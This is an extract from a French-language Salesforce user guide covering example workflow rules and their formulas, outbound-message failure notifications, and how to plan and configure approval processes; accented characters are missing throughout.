DATE( YEAR(TODAY()) , (MONTH(TODAY()) + 6), DAY(TODAY()))

Actions chronologiques
Aucun.
Rapport sur les opportunits perdues
Objet
Opportunit
Description
Avertissez le vice-prsident des ventes qu'une affaire est perdue si l'tape tait Proposition/Devis et que le montant tait
suprieur un million de dollars.
Critres d'valuation
chaque cration ou modification d'un enregistrement.
Critres de la rgle (formule)
Excutez cette rgle si la formule suivante donne comme rsultat true (vrai) :
AND( ISCHANGED(StageName), ISPICKVAL(PRIORVALUE(StageName) , "Proposition/Devis"),
ISPICKVAL(StageName,"Close perdue"), (Amount > 1000000))

Actions immdiates
Alerte par e-mail : Avertissez le vice-prsident des ventes que l'affaire a t perdue.

Actions chronologiques
Aucun.
Gestion des pistes non attribues
Cet exemple suppose que toutes les pistes non attribues sont places dans une file d'attente de pistes non attribues par une
rgle d'attribution des pistes.
Objet
Piste
Description
Assurez-vous que les pistes non attribues sont suivies au moment opportun en avertissant le responsable qu'une piste
n'est pas accepte en deux jours.

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Guide de l'utilisateur | Gestion des messages sortants | 758

Critres d'valuation
Lors de la cration ou de la modification d'un enregistrement qui ne rpondait pas aux critres de la rgle.
Critres de la rgle (filtre)
Excutez cette rgle si les critres suivants sont remplis :
Responsable de la piste est gal File d'attente de pistes non attribues

Actions immdiates
Aucun.
Actions chronologiques
2 jours aprs Piste : Date de la dernire modification
Alerte par e-mail : Avertissez le responsable qu'il existe des pistes non attribues dans la file d'attente et
qu'elles datent de plus de deux jours.

Notifications
Modification du responsable de compte
Objet
Compte
Description
Avertissez les reprsentants du service commercial lorsque le responsable d'un compte change si le chiffre d'affaires annuel
du compte est suprieur un million de dollars.
Critres d'valuation
chaque cration ou modification d'un enregistrement.
Critres de la rgle (formule)
Excutez cette rgle si la formule suivante donne comme rsultat true (vrai) :
AND( ISCHANGED(OwnerId), AnnualRevenue > 1000000 )

Actions immdiates
Alerte par e-mail : Avertissez la personne affecte au rle des oprations de vente de la modification apporte

la responsabilit du compte.
Actions chronologiques
Aucun.
Rappel de l'anniversaire d'un contact
Cet exemple suppose qu'il existe un champ de formule personnalis Prochain anniversaire qui utilise la formule suivante
pour calculer la date du prochain anniversaire du contact dans les enregistrements de contact :
IF(MONTH(Birthdate)>MONTH(TODAY()),DATE(YEAR(TODAY()),MONTH(Birthdate),DAY(Birthdate)),
IF(MONTH(Birthdate)<MONTH(TODAY()),DATE(YEAR(TODAY())+1,MONTH(Birthdate),DAY(Birthdate)),

Crer

Guide de l'utilisateur | Gestion des messages sortants | 759

IF(DAY(Birthdate) >= (DAY(TODAY())),DATE(YEAR(TODAY()),MONTH(Birthdate),DAY(Birthdate)),

DATE(YEAR(TODAY())+1,MONTH(Birthdate),DAY(Birthdate)))))

Objet
Contact
Description
Envoyez un e-mail au contact deux jours avant son anniversaire.
Critres d'valuation
Uniquement lors de la cration d'un enregistrement.
Critres de la rgle (filtre)
Excutez cette rgle si la formule suivante donne comme rsultat true (vrai) :
(Contact : Date de naissance diffrente d'une valeur nulle) et (Contact : E-mail diffrent
d'une valeur nulle)

Actions immdiates
Aucun.
Actions chronologiques
2 jours avant Contact : Prochain anniversaire
Alerte par e-mail : Envoyez vos vux l'adresse e-mail du contact.
Opportunit de qualit
Objet
Opportunit
Description
Rappelez au responsable de l'opportunit et la direction que la date de clture d'une affaire importante (montant
suprieur 10 000 dollars) approche. Crez galement une tche de suivi pour le responsable de l'opportunit si l'affaire
est toujours ouverte lorsque la date de clture est passe.
Critres d'valuation
Lors de la cration ou de la modification d'un enregistrement qui ne rpondait pas aux critres de la rgle.
Critres de la rgle (filtre)
Excutez cette rgle si les critres suivants sont remplis :
(Opportunit : montant suprieur 100000) et (Opportunit : Close est gal Faux)

Actions immdiates
Aucun.
Actions chronologiques
30 jours avant Opportunit : Date de clture
Alerte par e-mail : Avertissez le responsable de l'opportunit qu'il reste 30 jours.

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Guide de l'utilisateur | Gestion des messages sortants | 760

15 jours avant Opportunit : Date de clture

Alerte par e-mail : Avertissez le responsable de l'opportunit qu'il reste 15 jours.
5 jours aprs Opportunit : Date de clture
Tche : Crez une tche de suivi pour que le responsable de l'opportunit mette jour l'affaire.
Alerte par e-mail : Indiquez la direction qu'elle doit impliquer des dirigeants.

Notifiez aux responsables de comptes les mises jour effectues par d'autres utilisateurs
Objet
Compte
Description
Avertissez le responsable du compte que quelqu'un d'autre met jour le compte si le chiffre d'affaires annuel de ce dernier
est suprieur un million de dollars.
Critres d'valuation
chaque cration ou modification d'un enregistrement.
Critres de la rgle (formule)
Excutez cette rgle si la formule suivante donne comme rsultat true (vrai) :
AND( (LastModifiedById <> CreatedById), (AnnualRevenue > 1000000) )

Actions immdiates
Alerte par e-mail : Avertissez le responsable du compte que quelqu'un d'autre l'a mis jour.

Actions chronologiques
Aucun.
Reportez-vous galement l'aide en ligne de Salesforce.com :
Gestion du workflow et des approbations
Gestion des actions de workflow
Cration de rgles de workflow
Observations sur les actions chronologiques et les dclencheurs temporels
Gestion des alertes par e-mail
Gestion des tches de workflow et des approbations
Gestion des mises jour de champ

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Guide de l'utilisateur | Notifications de messages sortants | 761

Notifications de messages sortants

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour afficher ou modifier les paramtres de notification des
messages sortants :

Personnaliser l'application

Actions de workflow et d'approbation qui envoient les informations que vous spcifiez vers le point de destination choisi, par
exemple un service externe. Un message sortant envoie les donnes dans les champs spcifis sous la forme d'un message SOAP
au point de destination.
Salesforce.com cre une notification toutes les 24 heures, rpertoriant tous les messages sortants qui ont chou pendant
24 heures au moins. Cette notification est envoye tout utilisateur que vous spcifiez en crant une demande de notification
(une demande par utilisateur). Vous pouvez crer jusqu' cinq demandes de notification.
Les messages ayant chou sont supprims aprs sept jours de la liste associe des messages sortants ayant chou. Vous pouvez
les supprimer vous-mme ou demander une nouvelle tentative avant qu'ils ne soient supprims.
Pour consulter les demandes de notification des messages sortants, cliquez sur Configuration Surveillance Notifications
de messages sortants.
ce niveau, vous pouvez raliser plusieurs tches :

Cliquez sur Modifier pour modifier une notification.

Cliquez sur Suppr pour supprimer une notification. Comme vous ne pouvez en crer que cinq, vous devrez peut-tre en
supprimer une avant de pouvoir crer des notifications supplmentaires.
Cliquez sur Nouveau pour crer une nouvelle demande de notification.
Remarque: Si ces options n'apparaissent pas, votre entreprise n'a pas activ les messages sortants. Contactez
salesforce.com pour activer les messages sortants dans votre entreprise.

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Guide de l'utilisateur | Notifications de messages sortants | 762

Cration et modification des notifications de messages sortants

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour afficher ou modifier les paramtres de notification des
messages sortants :

Modifier toutes les donnes

Actions de workflow et d'approbation qui envoient les informations que vous spcifiez vers le point de destination choisi, par
exemple un service externe. Un message sortant envoie les donnes dans les champs spcifis sous la forme d'un message SOAP
au point de destination.
Salesforce.com cre une notification toutes les 24 heures, rpertoriant tous les messages sortants qui ont chou pendant
24 heures au moins. Cette notification est envoye tout utilisateur que vous spcifiez en crant une demande de notification
(une demande par utilisateur). Vous pouvez crer jusqu' cinq demandes de notification.
Pour crer une demande de notification, cliquez sur Configuration Surveillance Notifications de messages sortants,
puis cliquez sur Nouveau pour afficher la page de modification.
1. Saisissez un nom d'utilisateur complet ou cliquez sur l'icne pour le slectionner dans une liste de noms d'utilisateurs.
2. Cliquez sur Enregistrer pour enregistrer la requte ou sur Enregistrer et Nouveau pour enregistrer cette demande et
dmarrer une nouvelle demande de notification.
Remarque: Si ces options n'apparaissent pas, votre entreprise n'a pas activ les messages sortants. Contactez
salesforce.com pour activer les messages sortants dans votre entreprise.

Consultation des demandes de notification des messages sortants

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour afficher ou modifier les paramtres de notification des
messages sortants :

Modifier toutes les donnes

Actions de workflow et d'approbation qui envoient les informations que vous spcifiez vers le point de destination choisi, par
exemple un service externe. Un message sortant envoie les donnes dans les champs spcifis sous la forme d'un message SOAP
au point de destination.
Salesforce.com cre une notification toutes les 24 heures, rpertoriant tous les messages sortants qui ont chou pendant
24 heures au moins. Cette notification est envoye tout utilisateur que vous spcifiez en crant une demande de notification
(une demande par utilisateur). Vous pouvez crer jusqu' cinq demandes de notification.

Crer

Guide de l'utilisateur | Prsentation des processus d'approbation | 763

Cette page s'affiche lorsque vous avez enregistr une nouvelle demande de notification. ce niveau, vous pouvez raliser
plusieurs tches :

Cliquez sur Modifier pour modifier le nom de l'utilisateur pour une demande de notification, ce qui s'avre plus simple
que de supprimer la demande puis d'en crer une nouvelle.
Cliquez sur Supprimer pour supprimer la demande de notification.
Cliquez sur Cloner pour crer une nouvelle demande de notification avec le mme nom d'utilisateur renseign.

Prsentation des processus d'approbation

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour utiliser les approbations :

Diverses autorisations utilisateur ncessaires selon l'action

L'exploitation de votre activit est plus efficace avec des processus automatiss. Par exemple, vous pouvez dj disposer de
rgles de workflow qui envoient automatiquement des messages d'alerte ou attribuent des tches en fonction de vos processus
internes. Les approbations mnent l'automatisation encore plus loin en vous permettant de spcifier une squence d'tapes
requises pour l'approbation d'un enregistrement.
Processus automatis que votre organisation peut utiliser pour approuver des enregistrements dans Salesforce.com. Ils dterminent
les tapes ncessaires pour qu'un enregistrement soit approuv et la personne qui doit l'approuver chaque tape. Une tape
peut tre applique tous les enregistrements inclus dans le processus ou uniquement ceux prsentant certains attributs. Un
processus d'approbation dtermine galement les actions entreprendre lorsqu'un enregistrement est approuv, refus, rappel
ou soumis pour approbation pour la premire fois.
Un processus d'approbation comprend les lments suivants :

Un nom et une description pour le distinguer des autres processus d'approbation

Des critres d'entre si vous voulez inclure uniquement des enregistrements comportant certains attributs
Un utilisateur dsign pouvant approuver les demandes
Des paramtres pour spcifier l'utilisateur qui, le cas chant, peut modifier un enregistrement une fois qu'il a t soumis
pour approbation
Des tapes permettant de dterminer la squence des actions entreprendre lorsqu'un enregistrement correspond aux
critres Chaque tape peut comporter jusqu' 40 actions, 10 de chaque type : messages d'alerte, mises jour de champ,
tches et messages sortants.
Jusqu' 40 actions supplmentaires qui surviennent lorsqu'un enregistrement est soumis pour la premire fois,
Jusqu' 40 actions supplmentaires qui surviennent lorsqu'un enregistrement est approuv.
Jusqu' 40 actions supplmentaires qui surviennent lorsqu'un enregistrement est refus.
Jusqu' 40 actions supplmentaires qui surviennent lorsqu'un enregistrement est rappel.

Crer

Guide de l'utilisateur | Prsentation des processus d'approbation | 764

Pour commencer concevoir vos processus d'approbation, reportez-vous Processus d'approbation Mise en route la page
768.

Voir aussi :
Cration de processus d'approbation
Terminologie propre aux processus d'approbation
Exemples de processus d'approbation

Processus d'approbation - Mise en route

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour crer des processus d'approbation :

Personnaliser l'application

Processus automatis que votre organisation peut utiliser pour approuver des enregistrements dans Salesforce.com. Ils dterminent
les tapes ncessaires pour qu'un enregistrement soit approuv et la personne qui doit l'approuver chaque tape. Une tape
peut tre applique tous les enregistrements inclus dans le processus ou uniquement ceux prsentant certains attributs. Un
processus d'approbation dtermine galement les actions entreprendre lorsqu'un enregistrement est approuv, refus, rappel
ou soumis pour approbation pour la premire fois.
Avant de commencer crer un processus d'approbation :

Vrifiez la liste de slection de processus d'approbation afin de prparer l'tape de mise en uvre et choisissez l'assistant
que vous utiliserez.
Vous pouvez galement activer l'option de rponse d'approbation par e-mail. La fonctionnalit E-mails d'auto-rponse
permet aux utilisateurs d'approuver ou de refuser les demandes d'approbation d'e-mails en rpondant au message.
Reportez-vous Personnalisation des paramtres de workflow et d'approbation la page 734.

Pour automatiser les processus au sein de votre entreprise :

1.
2.
3.
4.
5.
6.
7.

Crez un processus d'approbation.

Ajoutez des tapes votre processus d'approbation.
Indiquez des actions de soumission initiale.
Indiquez des actions d'approbation finale.
Indiquez des actions de refus final.
Spcifiez des actions de rappel.
S'il s'agit du premier processus d'approbation que vous crez :

Ajoutez la liste associe Historique des approbations la prsentation de page approprie. La liste associe Historique
des approbations permet aux utilisateurs de soumettre des demandes d'approbation et de suivre l'volution d'un
enregistrement tout au long du processus d'approbation partir de la page de dtails de l'enregistrement. Reportez-vous
Personnalisation des prsentations de page la page 546.
Pensez ajouter la liste associe lments approuver la prsentation de vos pages d'accueil personnalises. Cela
donne aux utilisateurs un aperu immdiat des demandes d'approbation qu'ils doivent approuver ou refuser. Vous

Crer

Guide de l'utilisateur | Prsentation des processus d'approbation | 765

trouverez des instructions sur la faon dont vous pouvez ajouter cette liste associe sur Conception des prsentations
de page de l'onglet Accueil la page 570.
Renseignez tous les champs de hirarchie personnalise avec les valeurs appropries.

8. Utilisez le Visualiseur de processus pour afficher une reprsentation graphique d'un processus d'approbation. Le diagramme
en affichage seulement est prsent dans un organigramme. Le diagramme et le menu latral d'information peuvent faciliter
la consultation et la comprhension des tapes dfinies, des critres des rgles et des actions qui incluent votre processus
d'approbation.
Remarque: Les rapports standard pour les demandes d'approbation sont inclus dans les dossiers Rapports administratifs
et Rapports sur les activits. Reportez-vous Rapports administratifs la page 1707 et Rapports sur les activits la
page 1685.

Voir aussi :
Terminologie propre aux processus d'approbation
Observations relatives au processus d'approbation
Gestion des processus d'approbation
Utilisation de l'assistant de dmarrage automatique du processus d'approbation
Choix d'un assistant de processus d'approbation
Exemples de processus d'approbation
Utilisation du Visualiseur de processus

Terminologie propre aux processus d'approbation

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour utiliser les approbations :

Diverses autorisations utilisateur ncessaires selon l'action

La terminologie suivante est utilise pour les processus d'approbation dans Salesforce.com :
Actions d'approbation
Une action d'approbation est une action conscutive un processus d'approbation. Il existe quatre types d'action
d'approbation :
Type

Description

Tche

Attribue une tche l'utilisateur que vous spcifiez. Vous pouvez spcifier l'objet, le
statut, la priorit et l'chance de la tche.

Alerte par e-mail

Utilise le modle spcifi pour envoyer un e-mail un destinataire dsign.

Mise jour du champ

Modifie la valeur d'un champ slectionn. Vous pouvez spcifier une valeur ou crer une
formule pour la nouvelle valeur.

Crer

Guide de l'utilisateur | Prsentation des processus d'approbation | 766

Type

Description

Message sortant

Envoie un message une adresse que vous dsignez. Vous pouvez galement spcifier un
nom d'utilisateur et les donnes inclure dans le message.

Les tapes d'approbation, la soumission initiale, les approbations finales, les refus finaux et les rappels peuvent excuter
des actions d'approbation. Le processus d'approbation et les rgles de workflow partagent des actions.
Processus d'approbation
Processus automatis que votre organisation peut utiliser pour approuver des enregistrements dans Salesforce.com. Ils
dterminent les tapes ncessaires pour qu'un enregistrement soit approuv et la personne qui doit l'approuver chaque
tape. Une tape peut tre applique tous les enregistrements inclus dans le processus ou uniquement ceux prsentant
certains attributs. Un processus d'approbation dtermine galement les actions entreprendre lorsqu'un enregistrement
est approuv, refus, rappel ou soumis pour approbation pour la premire fois. Pour plus d'informations, reportez-vous
Prsentation des processus d'approbation la page 763.
Demande d'approbation
Une demande d'approbation est un e-mail signalant au destinataire qu'un enregistrement a t soumis pour approbation
et qu'il doit l'approuver.
tapes d'approbation
Les tapes d'approbation attribuent les demandes d'approbation diffrents utilisateurs et dfinissent la chane
d'approbation d'un processus d'approbation particulier. Chaque tape d'approbation indique les attributs qu'un
enregistrement doit avoir afin de passer la l'tape suivante, l'utilisateur charg d'approuver les demandes pour cet
enregistrement, et si le dlgu de l'approbateur est autoris approuver les demandes. La premire tape d'approbation
d'un processus dtermine galement l'action entreprendre si un enregistrement ne passe pas cette tape. Les tapes
ultrieures du processus vous permettent en outre de spcifier ce qui se produit si un approbateur refuse la demande.
Approbateur attribu
Il s'agit de l'utilisateur charg d'approuver une demande d'approbation.
E-mails d'auto-rponse
La fonctionnalit E-mails d'auto-rponse permet aux utilisateurs d'approuver ou de refuser les demandes d'approbation
d'e-mails en rpondant au message.
La premire ligne du corps de l'e-mail contient l'un des termes suivants :

approuve
approuv
oui
rejette
rejet
non

Les virgules et points d'exclamation sont galement accepts la fin d'un terme. Vous pouvez galement ajouter des
commentaires la deuxime ligne du corp de l'e-mail. Les utilisateurs ont aussi la possibilit de cliquer sur un lien, dans
le message, pour accder la page d'approbation. Cette fonctionnalit est trs utile pour les organisations dont les
utilisateurs reoivent les demandes d'approbation sur des priphriques mobiles.

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Guide de l'utilisateur | Prsentation des processus d'approbation | 767

Pour activer la rponse d'approbation par e-mail, reportez-vous Personnalisation des paramtres de workflow et
dapprobation la page 734.
Remarque: Avant d'activer la rponse d'approbation par e-mail, notez que vous ne pouvez pas utiliser cette
fonctionnalit avec des processus d'approbation dans lesquels l'approbateur attribu est une file d'attente ou dans
un processus d'approbation en plusieurs tapes dans lequel l'approbateur suivant est choisi manuellement aprs
la premire tape. De plus, les utilisateurs utilisant Microsoft Word comme diteur d'e-mail doivent ajouter les
commentaires la fin de la premire ligne de l'e-mail de rponse au lieu de la seconde.
Actions de soumission initiale
Les actions de soumission initiale sont des actions se produisant lorsqu'un utilisateur soumet pour la premire fois un
enregistrement pour approbation. Par dfaut, une action pour verrouiller l'enregistrement est excute automatiquement
lors de la soumission initiale. Les actions de soumission initiale peuvent inclure toutes les actions d'approbation comme
les alertes e-mail, les mises jour de champ, les tches ou les messages sortants. Par exemple, une action de soumission
initiale peut mettre jour un champ de statut d'approbation personnalis avec En cours.
Actions d'approbation finale
Les actions d'approbation finale ont lieu lorsque toutes les approbations requises ont t donnes pour un enregistrement.
Les actions d'approbation finale incluent les alertes par e-mail, les mises jour de champ, les tches ou les messages
sortants. Par exemple, une action d'approbation finale peut dfinir le statut Approuve et dclencher l'envoi d'un e-mail
de notification.
Actions de refus final
Les actions de refus final sont les actions qui se produisent lorsqu'un approbateur rejette la demande entranant ainsi
l'tat de refus final. Les actions de refus final incluent les alertes par e-mail, les mises jour de champ, les tches ou les
messages sortants. Par exemple, une action de refus final peut modifier le statut en ''Rejete'', envoyer un e-mail de
notification et dbloquer l'enregistrement pour que les utilisateurs puissent le modifier avant de le soumettre nouveau.
Actions de rappel
Les actions de rappel sont les actions qui se produisent lorsqu'une demande d'approbation soumise est rappele. Par
dfaut, une action pour dverrouiller l'enregistrement est excute automatiquement lors du rappel. Les actions de rappel
incluent les alertes par e-mail, les mises jour de champ, les tches ou les messages sortants. Par exemple, une action de
rappel peut modifier le statut d'une demande de En cours Non soumis.
Message sortant
Actions de workflow et d'approbation qui envoient les informations que vous spcifiez vers le point de destination choisi,
par exemple un service externe. Un message sortant envoie les donnes dans les champs spcifis sous la forme d'un
message SOAP au point de destination.
Verrouillage de l'enregistrement
Le verrouillage d'enregistrement consiste empcher les utilisateurs de modifier un enregistrement, quels que soient les
paramtres de partage ou la scurit au niveau du champ. Salesforce.com verrouille automatiquement les enregistrements
en attente d'approbation. Les utilisateurs doivent disposer de l'autorisation au niveau de l'objet Modifier tout pour un
objet donn ou Modifier toutes les donnes pour modifier les enregistrements verrouills. Vous pouvez continuer
d'ajouter des membres aux campagnes verrouilles pour approbation. Les listes associes aux actions de soumission
initiale, aux actions d'approbation finale, aux actions de refus final et aux actions de rappel contiennent les actions Verrou

Crer

Guide de l'utilisateur | Processus d'approbation - Mise en route | 768

d'enregistrement par dfaut. Vous ne pouvez pas modifier cette action par dfaut pour des actions de soumission initiale
et de rappel.

Voir aussi :
Prsentation des processus d'approbation
Processus d'approbation - Mise en route
Liste de Slection des Processus d'Approbation

Processus d'approbation - Mise en route

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour crer des processus d'approbation :

Personnaliser l'application

Processus automatis que votre organisation peut utiliser pour approuver des enregistrements dans Salesforce.com. Ils dterminent
les tapes ncessaires pour qu'un enregistrement soit approuv et la personne qui doit l'approuver chaque tape. Une tape
peut tre applique tous les enregistrements inclus dans le processus ou uniquement ceux prsentant certains attributs. Un
processus d'approbation dtermine galement les actions entreprendre lorsqu'un enregistrement est approuv, refus, rappel
ou soumis pour approbation pour la premire fois.
Avant de commencer crer un processus d'approbation :

Vrifiez la liste de slection de processus d'approbation afin de prparer l'tape de mise en uvre et choisissez l'assistant
que vous utiliserez.
Vous pouvez galement activer l'option de rponse d'approbation par e-mail. La fonctionnalit E-mails d'auto-rponse
permet aux utilisateurs d'approuver ou de refuser les demandes d'approbation d'e-mails en rpondant au message.
Reportez-vous Personnalisation des paramtres de workflow et d'approbation la page 734.

Pour automatiser les processus au sein de votre entreprise :

1.
2.
3.
4.
5.
6.
7.

Crez un processus d'approbation.

Ajoutez des tapes votre processus d'approbation.
Indiquez des actions de soumission initiale.
Indiquez des actions d'approbation finale.
Indiquez des actions de refus final.
Spcifiez des actions de rappel.
S'il s'agit du premier processus d'approbation que vous crez :

Ajoutez la liste associe Historique des approbations la prsentation de page approprie. La liste associe Historique
des approbations permet aux utilisateurs de soumettre des demandes d'approbation et de suivre l'volution d'un
enregistrement tout au long du processus d'approbation partir de la page de dtails de l'enregistrement. Reportez-vous
Personnalisation des prsentations de page la page 546.

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Guide de l'utilisateur | Processus d'approbation - Mise en route | 769

Pensez ajouter la liste associe lments approuver la prsentation de vos pages d'accueil personnalises. Cela
donne aux utilisateurs un aperu immdiat des demandes d'approbation qu'ils doivent approuver ou refuser. Vous
trouverez des instructions sur la faon dont vous pouvez ajouter cette liste associe sur Conception des prsentations
de page de l'onglet Accueil la page 570.
Renseignez tous les champs de hirarchie personnalise avec les valeurs appropries.

8. Utilisez le Visualiseur de processus pour afficher une reprsentation graphique d'un processus d'approbation. Le diagramme
en affichage seulement est prsent dans un organigramme. Le diagramme et le menu latral d'information peuvent faciliter
la consultation et la comprhension des tapes dfinies, des critres des rgles et des actions qui incluent votre processus
d'approbation.
Remarque: Les rapports standard pour les demandes d'approbation sont inclus dans les dossiers Rapports administratifs
et Rapports sur les activits. Reportez-vous Rapports administratifs la page 1707 et Rapports sur les activits la
page 1685.

Voir aussi :
Terminologie propre aux processus d'approbation
Observations relatives au processus d'approbation
Gestion des processus d'approbation
Utilisation de l'assistant de dmarrage automatique du processus d'approbation
Choix d'un assistant de processus d'approbation
Exemples de processus d'approbation
Utilisation du Visualiseur de processus

Liste de Slection des Processus d'Approbation

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Planifiez soigneusement chaque processus d'approbation pour garantir la russite de la mise en uvre. Avant de crer votre
processus d'approbation, passez en revue la liste de slection suivante, concernant la prparation des informations appropries.

Prparez un modle d'e-mail de demande d'approbation.

Dterminez l'expditeur de la demande d'approbation.
Dterminez l'approbateur attribu.
Dterminez l'approbateur dlgu.
Dterminez si le processus d'approbation ncessite un filtre.
Concevez des actions de soumission initiale.
Dterminez si les utilisateurs peuvent approuver des demandes partir d'un priphrique sans fil.
Dterminez si les utilisateurs peuvent modifier des enregistrements en attente d'approbation.
Dterminez si les enregistrements doivent tre approuvs automatiquement ou refuss.
Dterminez le nombre de niveaux de votre processus.
Dterminez les actions conscutives une approbation ou un refus de demande d'approbation.

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Guide de l'utilisateur | Processus d'approbation - Mise en route | 770

Quel modle d'e-mail souhaitez-vous utiliser pour les demandes d'approbation ?

Le modle d'e-mail spcifi pour un processus d'approbation est utilis pour informer les utilisateurs qu'une demande
d'approbation leur est attribue. Utilisez le modle d'e-mail par dfaut propos par Salesforce.com s'il convient votre
processus d'approbation, ou crez votre propre modle. Incluez les champs de fusion de processus d'approbation appropris
pour fournir un lien direct vers la demande d'approbation. Pour plus d'informations sur l'utilisation des champs de fusion,
reportez-vous Prsentation des champs de fusion la page 67. Si votre entreprise a activ la rponse d'approbation par
e-mail, le modle d'e-mail par dfaut contient des instructions qui permettent aux utilisateurs de rpondre aux demandes
d'approbation par e-mail en saisissant des termes comme approuver, approuve, oui, refuser, refuse ou
non sur la premire ligne du corps de l'e-mail, et en ajoutant si ncessaire des commentaires sur la seconde ligne. Pour
plus d'informations sur la rponse d'approbation par e-mail et le modle par dfaut, reportez-vous Personnalisation
des paramtres de workflow et dapprobation la page 734.
Dterminez qui doit tre l'expditeur des demandes d'approbation.
Les notifications de demande d'approbation sont automatiquement envoyes partir de la messagerie de l'utilisateur qui
a soumis l'enregistrement pour approbation. Vous avez la possibilit d'attribuer une adresse e-mail de retour diffrente
ces notifications. Dterminez quelle adresse e-mail utiliser.
Qui sera responsable de l'approbation des demandes ?
Les demandes peuvent tre approuves ou refuses par :

Un utilisateur ou une file d'attente slctionn par la personne qui a soumis la demande d'approbation.
Une file d'attente spcifi par l'administrateur.
Un utilisateur rpertori dans le champ Responsable standard de la page de dtails des utilisateurs
Un utilisateur rpertori dans un champ de hirarchie personnalis de la page de dtails des utilisateurs
Toute combinaison d'utilisateurs et d'utilisateurs associs (utilisateurs rpertoris dans un champ standard ou
personnalis de l'enregistrement soumis) spcifis par l'administrateur.

Chaque tape de votre processus d'approbation peut attribuer des demandes d'approbation en utilisant l'une des propositions
ci-dessus.
Les demandes d'approbation doivent-elles tre dlgues un autre utilisateur pour approbation ?
Les demandes d'approbation peuvent tre approuves par un dlgu dsign pour l'approbateur. Cependant, vous avez
la possibilit de dsactiver cette option. Dterminez si vous souhaitez autoriser les utilisateurs dlgus approuver les
demandes. Remplissez ensuite, pour chaque utilisateur, le champ Approbateur dlgu sur la page de dtails de
l'utilisateur.
Quels enregistrements doivent tre inclus dans ce processus ?
Dterminez quels attributs doit avoir un enregistrement pour tre inclus dans votre processus d'approbation. Si ncessaire,
crez des champs personnaliss pour stocker ces informations afin de pouvoir les utiliser dans vos critres de filtrage. Par
exemple, si vous souhaitez inclure les enregistrements de dpense des bureaux de votre sige social uniquement, crez
un champ de liste de slection personnalis appel Bureau comportant deux options : HQ et Champ. Les critres de
filtrage du processus peuvent alors spcifier que les enregistrements doivent comporter HQ dans le champ Office
Location pour tre inclus.
Que doit-il se produire lorsqu'un enregistrement est soumis pour approbation pour la premire fois ?
Lorsque des utilisateurs soumettent un enregistrement pour approbation, Salesforce.com le verrouille automatiquement
afin que les autres utilisateurs ne puissent pas le modifier pendant qu'il est en attente d'approbation. Vous pouvez continuer
d'ajouter des membres aux campagnes verrouilles pour approbation.

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Guide de l'utilisateur | Processus d'approbation - Mise en route | 771

Dterminez si vous souhaitez que d'autres actions de workflow, telles que des alertes par e-mail, des tches, des mises
jour de champ et des messages sortants, se produisent lorsqu'un enregistrement est soumis pour la premire fois. Ces
actions sont rpertories dans la liste des actions de soumission initiale.
Les utilisateurs doivent-ils tre en mesure d'approuver des demandes partir d'un priphrique sans fil ?
Dtermine si vous souhaitez demander aux utilisateurs de se connecter Salesforce.com pour approuver les demandes.
Vous pouvez galement configurer votre processus d'approbation pour permettre aux utilisateurs d'approuver des demandes
distance en utilisant un navigateur sans fil.
Qui peut modifier des enregistrements en attente d'approbation ?
Les enregistrements soumis pour approbation sont automatiquement verrouills. Les utilisateurs qui disposent de
l'autorisation au niveau de l'objet Modifier tout pour un objet donn ou Modifier toutes les donnes peuvent toujours
dverrouiller un enregistrement et le modifier. En outre, vous pouvez spcifier que l'approbateur actuellement attribu
est autoris les modifier. Vous pouvez continuer d'ajouter des membres aux campagnes verrouilles pour approbation.
Les enregistrements doivent-ils tre automatiquement approuvs, refuss ou ignors selon certains critres ?
Vous pouvez dfinir des critres d'entre pour chaque tape de votre processus et configurer Salesforce.com pour qu'il
approuve, refuse ou ignore automatiquement le processus si un enregistrement ne rpond pas ces critres d'entre. Par
exemple, toutes les dpenses soumises sont automatiquement approuves si elles portent sur un montant infrieur
15 euros.
Combien de personnes doivent approuver ces demandes ?
Un processus d'approbation peut avoir plusieurs couches d'approbations. Dterminez combien d'utilisateurs doivent
approuver les demandes et dans quel ordre.
Des actions doivent-elles avoir lieu lorsqu'une demande est approuve ou refuse ?
Vous pouvez configurer jusqu' 40 actions supplmentaires pour qu'elles aient lieu lorsqu'une demande est rappele,
approuve ou refuse, chaque tape, et jusqu' 10 actions de chacun des types suivants :
Type

Description

Tche

Attribue une tche l'utilisateur que vous spcifiez. Vous pouvez spcifier l'objet, le
statut, la priorit et l'chance de la tche.

Alerte par e-mail

Utilise le modle spcifi pour envoyer un e-mail un destinataire dsign.

Mise jour du champ

Modifie la valeur d'un champ slectionn. Vous pouvez spcifier une valeur ou crer une
formule pour la nouvelle valeur.

Message sortant

Envoie un message une adresse que vous dsignez. Vous pouvez galement spcifier un
nom d'utilisateur et les donnes inclure dans le message.

En outre, vous pouvez configurer jusqu' 40 actions supplmentaires pour qu'elles aient lieu lorsqu'un enregistrement a
reu toutes les approbations ncessaires ou est dfinitivement refus.

Voir aussi :
Processus d'approbation - Mise en route
Prsentation des processus d'approbation
Exemples de processus d'approbation

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Guide de l'utilisateur | Processus d'approbation - Mise en route | 772

Exemples de processus d'approbation

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour crer des processus d'approbation :

Personnaliser l'application

Utilisez ces exemples de processus d'approbation standard pour crer le vtre :

Demandes de congs pays

Rapports sur les dpenses
Opportunits d'escompte
Candidats un poste

Demandes de congs pays

La plupart des socits demandent leurs employs de remplir une demande de congs pays, ensuite approuve par leur
responsable. Voici comment automatiser un processus de demande de congs pays en une seule tape grce Salesforce.com.

Si vous n'avez pas encore d'objet personnalis pour suivre vos demandes de congs pays, crez un objet personnalis et un
onglet appel Demandes de congs pays. Reportez-vous Cration d'objets personnaliss la page 691 et Dfinition
d'onglets personnaliss la page 718. Ajoutez les champs appropris vos demandes de congs pays, tels que Date de
dbut, Date de fin et Nom de l'employ.
Crez le modle d'un e-mail informant les approbateurs qu'une demande d'approbation doit tre vrifie. Veillez inclure
l'un des champs de fusion du processus d'approbation pour diriger les utilisateurs directement vers la page d'approbation.
Reportez-vous Gestion des modles de message la page 76.
